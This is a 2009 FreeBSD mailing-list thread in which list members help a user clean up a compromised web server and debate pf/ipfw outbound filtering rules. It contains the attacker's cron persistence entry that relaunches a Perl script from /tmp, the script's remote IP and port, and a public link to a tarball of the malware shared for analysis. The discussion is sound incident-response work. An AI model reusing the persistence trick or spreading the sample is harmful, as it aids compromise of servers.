b=XCu1ZqZKExn3WFaonSXGzawNJhTtWE4QuneimXeQYdtMy7Ou5MVy7KALeT9J7POIEy Z9RIhLn00zxl8girDSAjKux2gVzQ6kMBNrNuNyfAa25pHyARqQ1ivm5n8Ofcu9Lka26v 3GVZyLaMNGf+b545bBkCX3JIapXWw8Y13i4wc= MIME-Version: 1.0 Received: by 10.150.110.1 with SMTP id i1mr7239843ybc.63.1251238295057; Tue, 25 Aug 2009 15:11:35 -0700 (PDT) In-Reply-To: <20090825154358.7c792d3a.wmoran@potentialtech.com> References: <4A924601.3000507@lim.nl> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> <20090825154358.7c792d3a.wmoran@potentialtech.com> Date: Tue, 25 Aug 2009 17:11:34 -0500 Message-ID: <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> From: Adam Vande More To: Bill Moran Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 22:11:37 -0000 On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wrote: > In response to Adam Vande More : > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran >wrote: > > > > > In response to Adam Vande More : > > > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran < > wmoran@potentialtech.com > > > >wrote: > > > > > > > > > In response to Paul Schmehl : > > > > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace < > cb@lim.nl> > > > > > wrote: > > > > > > > > > > > > > Bill Moran wrote: > > > > > > >> > > > > > > >> You can add an ipfw rule to prevent the script from calling > home, > > > > > which > > > > > > >> will effectively render it neutered until you can track down > and > > > > > actually > > > > > > >> _fix_ the problem. > > > > > > > > > > > > > > Mike Bristow above wrote: "The script is talking to > 94.102.51.57 on > > > > > port > > > > > > > 7000". OK, so I how do I know what port the script is using for > > > > > outgoing > > > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > > > pass out quick on gif0 inet6 > > > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > > > block in log > > > > > > > > > > > > > > That is to say: nothing is allowed in unless explicitly allowed > > > > > > > Everything allowed out. > > > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > > > > > > > The problem with blocking outbound ports is that it breaks things > in > > > odd > > > > > ways. > > > > > > For example, your mail server listens on port 25 (and possibly > 465 as > > > > > well) but > > > > > > it communicates with connecting clients on whatever ethereal port > the > > > > > client > > > > > > decided to use. If the port the client selects happens to be in > a > > > range > > > > > that > > > > > > you are blocking, communication will be impossible and the client > > > will > > > > > report > > > > > > that your mail server is non-responsive. > > > > > > > > > > You're doing it wrong. Block on the destination port _only_ and > you > > > don't > > > > > care about the ephemeral ports. > > > > > > > > What ports would you block then when you're trying to run a > webserver? > > > > > > My point (which is presented in examples below) is that you block > > > everything > > > and only allow what is needed (usually only dns and ntp, possibly smtp > if > > > the web server needs to send mail) > > > > > > That single statement above was directed specifically at the comment > about > > > it being impossible to predict (and thus block) ephemeral source ports. > > > He's > > > right about that, and that's why filtering on the destination port is > the > > > more common practice. > > > > > > Of course, that caused me to create an email that seems to contradict > > > itself, if you don't notice that it's two answers to two different > > > comments. > > > > My point was that it's unfeasible to block by destination point. You can > > only block by destination port if it's a known quantity, and the > destination > > port is ephemeral in the question I posed(which what the OP had an issue > > with). > > Please read the entire email before you respond. My last example below > demonstrates how to do what you call "unfeasible". > > > > > > > It's much easier to block outgoing ports for services you *don't* > > > want to > > > > > > offer, but, if the service isn't running anyway, blocking the > port is > > > > > > non-productive. > > > > > > > > > > You're obviously misunderstanding me completely. Your not blocking > > > > > incoming > > > > > connections, your preventing outgoing ones, which means there _is_ > no > > > > > service running on your local machine. > > > > > > > > > > For example, a server that is _only_ web (with SSH for admin) could > > > have > > > > > a ruleset like: > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port > {25,587,465,22} > > > keep > > > > > state > > > > > pass out quick on $ext_if proto tcp from me to any port {25} keep > state > > > > > pass out quick on $ext_if proto upd from me to any port {53,123} > keep > > > state > > > > > block all > > > > > > > > > > (note that's only an example, there may be some fine points I'm > > > missing) > > > > > > > > > > One thing that had not yet been mentioned when I posted my earlier > > > comment, > > > > > is that this system is a combination firewall/web server. That > makes > > > the > > > > > rules more complicated, but the setup is still possible: > > > > > > > > > > pass in quick on $ext_if proto tcp from any to me port {80} keep > state > > > > > pass out quick on $ext_if proto upd from me to any port {53,123} > keep > > > state > > > > > pass out quick on $ext_if from $internal_network to any all keep > state > > > > > block all > > > > > > > > > > Which allows limited outgoing traffic originating from the box > itself, > > > > > but allows unlimited outgoing traffic from systems on > > > $internal_network. > > > > > > > > > > I've done this with great success. In fact, I had a fun time where > a > > > > > client in question was infected with viruses out the wazoo, but the > > > > > viruses never spread off their local network because I only allowed > > > > > SMTP traffic to their SMTP relay, which required SMTP auth (thus > the > > > > > viruses couldn't send mail) > > > > > > > > > > > > > > > > > > > > > > -- > > > > Adam Vande More > > > > _______________________________________________ > > > > freebsd-questions@freebsd.org mailing list > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > > To unsubscribe, send any mail to " > > > freebsd-questions-unsubscribe@freebsd.org" > > > > > > > > > -- > > > Bill Moran > > > http://www.potentialtech.com > > > http://people.collaborativefusion.com/~wmoran/ > > > > > > > > > > > > -- > > Adam Vande More > > You said block by destination port. What you presented is not this, although it gives give a functional environment of it. Sorry for the pedantic pursuit here, but IMO terminology is important here. -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 23:06:05 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8E9D5106568B for ; Tue, 25 Aug 2009 23:06:05 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 62BD98FC15 for ; Tue, 25 Aug 2009 23:06:05 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1Mg55Y-0007MN-9R for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 16:06:04 -0700 Message-ID: <25143778.post@talk.nabble.com> Date: Tue, 25 Aug 2009 16:06:04 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <4A943A9B.1030703@cyberleo.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 23:06:05 -0000 CyberLeo Kitsana wrote: > > Are these files available in a tarball someplace public, for those of us > who enjoy performing autopsies on virii? Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz this tarball contains "tmpfile" which is the misbehaving script as well as the contents of a directory called ".," which has a bunch of source code and so on. As indicated earlier, this stuff was installed by user 'www'. It should be unpacked in an empty directory. Have fun! ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25143778.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 23:33:31 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 36B37106568C for ; Tue, 25 Aug 2009 23:33:31 +0000 (UTC) (envelope-from steve@ibctech.ca) Received: from smtp.ibctech.ca (v6.ibctech.ca [IPv6:2607:f118::b6]) by mx1.freebsd.org (Postfix) with SMTP id A70398FC14 for ; Tue, 25 Aug 2009 23:33:30 +0000 (UTC) Received: (qmail 8082 invoked by uid 89); 25 Aug 2009 23:34:52 -0000 Received: from unknown (HELO ?IPv6:2607:f118::5?) (steve@ibctech.ca@2607:f118::5) by 2607:f118::b6 with ESMTPA; 25 Aug 2009 23:34:52 -0000 Message-ID: <4A9474BE.6020501@ibctech.ca> Date: Tue, 25 Aug 2009 19:33:18 -0400 From: Steve Bertrand User-Agent: Thunderbird 2.0.0.17 (Windows/20080914) MIME-Version: 1.0 To: Adam Vande More References: <4A924601.3000507@lim.nl> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> <20090825154358.7c792d3a.wmoran@potentialtech.com> <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> In-Reply-To: <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms070308040704070201050709" Cc: Paul Schmehl , Bill Moran , Colin Brace , freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 23:33:31 -0000 This is a cryptographically signed message in MIME format. --------------ms070308040704070201050709 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Adam Vande More wrote: [ huge, huge snip ] > You said block by destination port. What you presented is not this, > although it gives give a functional environment of it. Sorry for the > pedantic pursuit here, but IMO terminology is important here. I've read this thread on a 'best-effort' basis throughout the day. Although I can *personally* translate what Bill's excellent feedback is saying into functional protection, I have to say that your statement quoted was the 'politically correct' way to express it. We've (ie: I've) been compromised in the past (several times), and experience based on having an installed Perl-based httpd program tells me thus: - it is likely a PHP script that was the root cause - it is likely that the script had access to a MySQL database - bulletin boards, mailer apps and blog software was often the culprit - it's a common hack, the Perl code that is installed can be downloaded anywhere We have a multi-site hosting environment, so we see things like this from time-to-time. I can't remember for sure if it was this list or not, but I know I've posted "what to look for" someplace. In this case, OP, look for: - directories named as such: -- ... -- . .. -- . . -- etc, particularly under: -- /var/tmp -- /tmp -- or anywhere else the [gu]id of the webserver could possibly write to There are other similar problems that are prevalent out there that someone running a web server may run into (one I've seen recently). It inserts HTML redirects into files (or directly into a MySQL table, in situations where links are generated dynamically) that direct the browser to foreign pages (presumably so that the browser will inadvertently download rogue programs into the visiting computer). This has had the effect of having Google block the page, and for client relations, it doesn't look good. Any time we've seen this, we refer the client to their web developer for assistance (heh). This such infection has noticeably been caused by server-side PDF management software, and a specific PHP video management software. We've never found that such 'kiddie/automated' hacks tried to manipulate or steal any information directly/initially, even after reviewing the code. With that said, I firmly agree with Bill that you should/must replace all passwords both on the Unix side of things, as well as within MySQL. tcpdump(1) is your friend. On the firewall side of things... I am on the fence with both Paul and Bill's comments as to whether having protection on each machine is a bonus or a failure. This really depends... and it depends on the environment which and where the box is logically attached. Given that I'm in an ISP environment, I don't want to manage ACLs for web servers on my network edge routers, so it's best that I contain them locally to the hosted web box itself. In other cases (such as an enterprise environment), it would be easier to manage such ACLs at the network perimeter. For a home box, a firewall-per-box may lead to better understanding and experience. What I haven't read in this thread so far is the term 'state', relative to stack protection. For instance, if I were to: % ipfw add 10 allow all from any to me 80 keep-state % ipfw add 15 deny all from any to any ... it would dynamically allow all requests to my web server (fw running on the host itself), would allow all responses back to the client (regardless of the port they used to send the request (because of state)), but it would deny everything and anything else, inbound and outbound. Note that in heavy environments that keeping state can have it's own detrimental drawbacks, which there is no need to get into here. These drawbacks are generally why one might decide not to block everything at the network edge, but on the box itself. Steve --------------ms070308040704070201050709 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII/zCC AtowggJDoAMCAQICEEs5xg/J3t77QWJ4SatV1HcwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UE BhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMT I1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA5MDUwNzIzMTYxMFoX DTEwMDUwNzIzMTYxMFowQjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEfMB0G CSqGSIb3DQEJARYQc3RldmVAaWJjdGVjaC5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAJSTRAjP1RVa87/mnZn+PBTbENgyhhBJ4rWApmaNcthzRdk2DB/49KrXx3EQP60w Lj4KU0DFkiGNVj9BnVxRAx/WDXKxGC3uGGEG6gjyWv8KFMWMsH9mL7y7uNow1HueT6pZUf9o yY8Ewd+01QpGi7FfXOae7lGHhbEwnEJGwz08ytRfLmH0KtEzlZanZZhwDGX5s1kIHnyxdACh 3byXY6Z2bOrx0rcrQHCnHJppxddR60F7igjaMuBFstE51h9XTgXDNKJbglqTug5ghGihNuP6 VsBN7ue62y96UGIE22TvKEcAQ665vQGjHqZeSzZYy+hWNOa27pWFmhlqFjx0x8MCAwEAAaMt MCswGwYDVR0RBBQwEoEQc3RldmVAaWJjdGVjaC5jYTAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3 DQEBBQUAA4GBAMOmjxjp2Xzk6ZHLwTgFDzVhm98RjRT3UXotKjNIR7SgwfWF5wkJrx4I+dXu ui5ztMEq4bTTRgJ344MqE6uZiZlg+tBIFHZGCJfKdzsX4QuV2jmw0sR5dMaYxG6tlDB0YUMv gTqzV7ZDpiusTMOZe9pP1PdxFhOcIJXtMQDj5LhuMIIC2jCCAkOgAwIBAgIQSznGD8ne3vtB YnhJq1XUdzANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDkwNTA3MjMxNjEwWhcNMTAwNTA3MjMxNjEwWjBCMR8wHQYD VQQDExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzdGV2ZUBpYmN0 ZWNoLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlJNECM/VFVrzv+admf48 FNsQ2DKGEEnitYCmZo1y2HNF2TYMH/j0qtfHcRA/rTAuPgpTQMWSIY1WP0GdXFEDH9YNcrEY Le4YYQbqCPJa/woUxYywf2YvvLu42jDUe55PqllR/2jJjwTB37TVCkaLsV9c5p7uUYeFsTCc QkbDPTzK1F8uYfQq0TOVlqdlmHAMZfmzWQgefLF0AKHdvJdjpnZs6vHStytAcKccmmnF11Hr QXuKCNoy4EWy0TnWH1dOBcM0oluCWpO6DmCEaKE24/pWwE3u57rbL3pQYgTbZO8oRwBDrrm9 AaMepl5LNljL6FY05rbulYWaGWoWPHTHwwIDAQABoy0wKzAbBgNVHREEFDASgRBzdGV2ZUBp YmN0ZWNoLmNhMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEFBQADgYEAw6aPGOnZfOTpkcvB OAUPNWGb3xGNFPdRei0qM0hHtKDB9YXnCQmvHgj51e66LnO0wSrhtNNGAnfjgyoTq5mJmWD6 0EgUdkYIl8p3OxfhC5XaObDSxHl0xpjEbq2UMHRhQy+BOrNXtkOmK6xMw5l72k/U93EWE5wg le0xAOPkuG4wggM/MIICqKADAgECAgENMA0GCSqGSIb3DQEBBQUAMIHRMQswCQYDVQQGEwJa QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG 9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3MDAwMDAwWhcN MTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRp bmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3Vp bmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f 6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/Ef kTYkKhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7 AgMBAAGjgZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRw Oi8vY3JsLnRoYXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLmNybDALBgNVHQ8E BAMCAQYwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMTM4MA0GCSqG SIb3DQEBBQUAA4GBAEiM0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnzYvwPQc UCCTcDz9reFhYsPZOhl+hLGZGwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9bG CE6u9uo05RAaWzVNd+NWIXiC3CEZNd4ksdMdRv9dX2VPMYIDZDCCA2ACAQEwdjBiMQswCQYD VQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UE AxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEEs5xg/J3t77QWJ4SatV 1HcwCQYFKw4DAhoFAKCCAcMwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B CQUxDxcNMDkwODI1MjMzMzE4WjAjBgkqhkiG9w0BCQQxFgQU5MRkirZIKMQjZwHYhXg2VYjz nGEwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZI hvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgYUGCSsGAQQBgjcQBDF4MHYwYjEL MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAq BgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAhBLOcYPyd7e+0Fi eEmrVdR3MIGHBgsqhkiG9w0BCRACCzF4oHYwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRo YXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBG cmVlbWFpbCBJc3N1aW5nIENBAhBLOcYPyd7e+0FieEmrVdR3MA0GCSqGSIb3DQEBAQUABIIB AEEL7pc5OPU9JQu21LS6oNxVYQUzREl761qgUh6VZhNqzrfPb2zgxha3e4cxp+Oy2IRyg9b5 PvynzuljkkpFFF4ANGz13iNUZ11shUCECr9s85doWYomz8GCCmo32W3+QzrXBccmawWcoA8t tfaeEHfDlfklR9/9TJpnHAWzoU2seNwtmipdg8t2bV3DMX9pr6YvnDd+ZguPig0ejGqLuw1m XbNHv0H6oZrF9ysorPSQMdFW1EFw3ysM6RUJNG/IPJ5sX8RgEawLs6zfYxYoTyE8+MYYSH01 GtTnwqPJanJCj27y3B02vaMWda7WKQaDNMxR4CY1ohQK2NKspHcainQAAAAAAAA= --------------ms070308040704070201050709-- From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 23:55:25 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F421A106568B for ; Tue, 25 Aug 2009 23:55:24 +0000 (UTC) (envelope-from lists@rhavenn.net) Received: from smtp114.sat.emailsrvr.com (smtp114.sat.emailsrvr.com [66.216.121.114]) by mx1.freebsd.org (Postfix) with ESMTP id D4C228FC15 for ; Tue, 25 Aug 2009 23:55:24 +0000 (UTC) Received: from relay31.relay.sat.mlsrvr.com (localhost [127.0.0.1]) by relay31.relay.sat.mlsrvr.com (SMTP Server) with ESMTP id 649A61B4022 for ; Tue, 25 Aug 2009 19:55:24 -0400 (EDT) Received: by relay31.relay.sat.mlsrvr.com (Authenticated sender: rhavenn-AT-rhavenn.net) with ESMTPSA id 4AD7D1B4003 for ; Tue, 25 Aug 2009 19:55:24 -0400 (EDT) Received: by alucard.int.rhavenn.net (Postfix, from userid 1000) id D46FC11428D; Tue, 25 Aug 2009 15:55:22 -0800 (AKDT) Date: Tue, 25 Aug 2009 15:55:22 -0800 From: Henrik Hudson To: questions@freebsd.org Message-ID: <20090825235522.GA7600@alucard.int.rhavenn.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) Cc: Subject: src.conf and cleaning up of base? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 23:55:25 -0000 Hello List, I enabled a few WITHOUT_ options in src.conf. However, the binaries for that still exists after a installworld. Is there an automatic way to "clean up" the base install? For example, I did a minimal install of 8.0-BETA2, csup'ed down -CURRENT and set WITHOUT_RCMDS in src.conf . However, rsh is still installed in /usr/bin . However, the timestamp is from the original install BETA2 build and not from my buildworld. For smaller items like NTP this is fine, but for stuff like WITHOUT_SENDMAIL or WITHOUT_LPR those binaries can get in the way of their replacements, ie: Postfix and CUPS. Anyway to to autoclean the base system? Henrik -- Henrik Hudson lists@rhavenn.net ----------------------------------------- "God, root, what is difference?" Pitr; UF From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 00:53:41 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 01500106568C for ; Wed, 26 Aug 2009 00:53:41 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 5BA4D8FC21 for ; Wed, 26 Aug 2009 00:53:39 +0000 (UTC) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id n7Q0qisO057474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 26 Aug 2009 07:52:44 +0700 (ICT) (envelope-from on@cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id n7Q0raSb018303; Wed, 26 Aug 2009 07:53:36 +0700 (ICT) (envelope-from on) Date: Wed, 26 Aug 2009 07:53:36 +0700 (ICT) Message-Id: <200908260053.n7Q0raSb018303@banyan.cs.ait.ac.th> From: Olivier Nicole To: In-reply-to: <4A943A9B.1030703@cyberleo.net> (message from CyberLeo Kitsana on Tue, 25 Aug 2009 14:25:15 -0500) References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org, cb@lim.nl Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 00:53:41 -0000 Colin, Be aware that what you listed below is what additional scripts the hacker installed on your server after he broke in. This does not tell you hwo the hacker broke in. So your server is still subject to compromission. Bests, olivier >> Try a find through the entire filesystem for files owned by this user that >> you can't account for. Also check your cron and at files under /var/cron >> and >> /var/at >> > > I found the cronjob which keeps restarting the script: > > [root@venus /var/cron/tabs]# ls -l > total 12 > -rw------- 1 root wheel 3440 Aug 25 12:06 colin > -rw------- 1 root wheel 240 Jul 28 23:49 www > > [root@venus /var/cron/tabs]# cat www > # DO NOT EDIT THIS FILE - edit the master and reinstall. > # (cron.job installed on Tue Jul 28 23:49:28 2009) > # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 > 2006/09/03 17:52:19 ru Exp $) > */1 * * * * perl /tmp/tmpfile > > I removed it, so now at least the script stops relaunching. > > /tmp/tmpfile is of course the script. > > In a subdirectory of tmp, there is a whole bunch of source code, all owned > by 'www': > > /tmp/.,]# ls -l > total 5692 > -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz > drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml > -rw-r--r-- 1 www wheel 43419 May 27 23:22 scanxml.txt > > ]# ls -l ml > total 3208 > -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user > -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user > -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents > -rwxr-xr-x 1 www wheel 2154 May 16 2003 Makefile > -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd > -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech > -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure > -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond > -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h > -rwxr-xr-x 1 www wheel 1054 Aug 3 2008 m.lev > -rwx--x--x 1 www wheel 6 May 25 2008 m.pid > -rwxr-xr-x 1 www wheel 1320 Mar 27 09:56 m.set > -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz > -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico > drwxr-xr-x 2 www wheel 512 Mar 4 2005 r > drwxr-xr-x 2 www wheel 1024 Dec 3 2005 src > > If anyone is interested in looking at this stuff, or wants more info, please > let me know. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 01:16:40 2009 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 00635106568B for ; Wed, 26 Aug 2009 01:16:39 +0000 (UTC) (envelope-from bf1783@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 85BDA8FC1A for ; Wed, 26 Aug 2009 01:16:39 +0000 (UTC) Received: by bwz2 with SMTP id 2so2148971bwz.43 for ; Tue, 25 Aug 2009 18:16:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; 